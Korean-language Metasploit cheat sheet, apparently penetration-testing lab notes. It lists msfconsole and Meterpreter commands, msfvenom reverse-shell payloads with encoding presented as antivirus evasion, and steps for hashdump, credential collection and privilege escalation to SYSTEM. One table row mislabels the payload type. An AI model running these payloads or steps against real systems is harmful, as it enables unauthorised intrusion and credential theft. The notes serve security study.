1. 기본 구조 및 문법
문법:
인덱스 타입/OS/서비스/이름
342 payload/cmd/windows/smb/x64/custom/reverse_tcp
450 payload/windows/peinject/reverse_named_pipe구조:
msfconsole
├── Modules (기능 단위)
│ ├── exploit/ ← 취약점 공격
│ ├── payloads/ ← 쉘 생성
│ ├── auxiliary/ ← 스캔, 브루트포스 등
│ ├── post/ ← 권한상승 후 작업
│ └── encoder/ ← 페이로드 인코딩
└── Sessions (연결된 쉘 관리)
모듈 타입 /usr/share/metasploit-framwork/modules/*:
| Type | Description |
|---|---|
| exploit | 특정 취약점의 exploit |
| payload | 페이로드 인코딩에 사용 |
| Auxiliary | 스캔, 퍼징, 스니핑 등 기능 |
| post | Post Exploit에 사용 |
| encoder | 페이로드 인코딩 담당 |
| NOP | 페이로드 사이즈를 일관되게 유지 |
| plugin | 부가적 스크립트들 |
2. 기본 명령어
# 검색
search <키워드>
search type:exploit platform:windows freeswitch
# 모듈 선택
use exploit/multi/misc/freeswitch_event_socket_cmd_exec
use 0 # search 결과 번호로도 선택 가능
# 현재 모듈 정보
info
options # 설정 필요한 값 목록
# 옵션 설정
set RHOSTS 192.168.1.1
set LHOST 192.168.45.xxx
set LPORT 4444
set PAYLOAD windows/x64/meterpreter/reverse_tcp
# 실행
run
exploit # 동일
# 모듈 해제
back3. Payload 선택
# 현재 모듈에서 사용 가능한 페이로드 목록
show payloads
grep meterpreter show payloads # meterpreter로 필터링
grep meterpreter grep reverse_tcp show payloads # 필터링2
## Meterpreter
set payload 270
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set PAYLOAD linux/x64/meterpreter/reverse_tcp
## 일반 쉘
set PAYLOAD windows/x64/shell/reverse_tcp
set PAYLOAD cmd/unix/reverse_netcatStaged vs Stageless
windows/x64/meterpreter/reverse_tcp ← Staged (/) : 작은 스터브 → 나중에 본체 다운로드
windows/x64/meterpreter_reverse_tcp ← Stageless (_) : 전체 페이로드 한번에
4. Sessions 관리
# 세션 목록
sessions
sessions -l
# 세션 복귀
sessions -i 1
# 세션 백그라운드
meterpreter > background # 또는 Ctrl+Z
# 세션에서 직접 명령 실행 (복귀 없이)
sessions -c "whoami" -i 1
# 세션 종료
sessions -k 1
# 쉘 → Meterpreter 업그레이드
sessions -u 15. Meterpreter 주요 명령어
# 시스템 정보
getuid # 현재 유저
sysinfo # OS 정보
getpid # 현재 프로세스 ID
# 파일 시스템
ls
pwd
cd C:\\Users
download proof.txt # 파일 다운로드
upload shell.exe # 파일 업로드
# 쉘 드롭
shell # cmd.exe 진입 (Ctrl+Z로 다시 meterpreter로)
# 네트워크
ipconfig
portfwd add -l 3389 -p 3389 -r 127.0.0.1 # 포트포워딩
# 권한
getsystem # SYSTEM 권한 자동 시도
getprivs # 현재 권한 목록
# 프로세스
ps # 프로세스 목록
migrate <PID> # 다른 프로세스로 이주 (안정성 향상)
# 해시 덤프
hashdump # SAM 해시 덤프 (SYSTEM 권한 필요)6. Post Exploitation 모듈
# 권한상승 벡터 자동 탐색
use post/multi/recon/local_exploit_suggester
set SESSION 1
run
# Windows 권한상승
use post/windows/gather/win_privs
# 해시 덤프
use post/windows/gather/hashdump
# 자격증명 수집
use post/windows/gather/credentials/credential_collector7. msfvenom (페이로드 생성)
# Windows exe
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=<ip> LPORT=4444 -f exe -o shell.exe
# Linux elf
msfvenom -p linux/x64/meterpreter/reverse_tcp \
LHOST=<ip> LPORT=4444 -f elf -o shell.elf
# PowerShell (AV 우회)
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=<ip> LPORT=4444 -f ps1 -o shell.ps1
# 인코딩 (기본 AV 우회)
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=<ip> LPORT=4444 -e x64/xor_dynamic -i 5 -f exe -o shell.exe8. Handler 세팅 (리버스쉘 받기)
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST <your_ip>
set LPORT 4444
set ExitOnSession false # 여러 세션 받을때 핸들러 유지
run -j # 백그라운드로 실행9. Metasploit 워크플로우
1. 서비스 발견
↓
2. search <취약점명>
↓
3. use <모듈> → options 확인 → set 옵션들
↓
4. set PAYLOAD windows/x64/meterpreter/reverse_tcp
↓
5. run → Meterpreter 획득
↓
6. getuid → 일반유저면:
↓
7. local_exploit_suggester 실행
↓
8. getsystem 또는 권한상승 익스플로잇
↓
9. getuid → SYSTEM 확인
↓
10. hashdump / proof.txt 획득10. 단축키
Ctrl + Z → 세션 백그라운드
Ctrl + C → 현재 작업 중단
Tab → 자동완성
↑↓ → 명령어 히스토리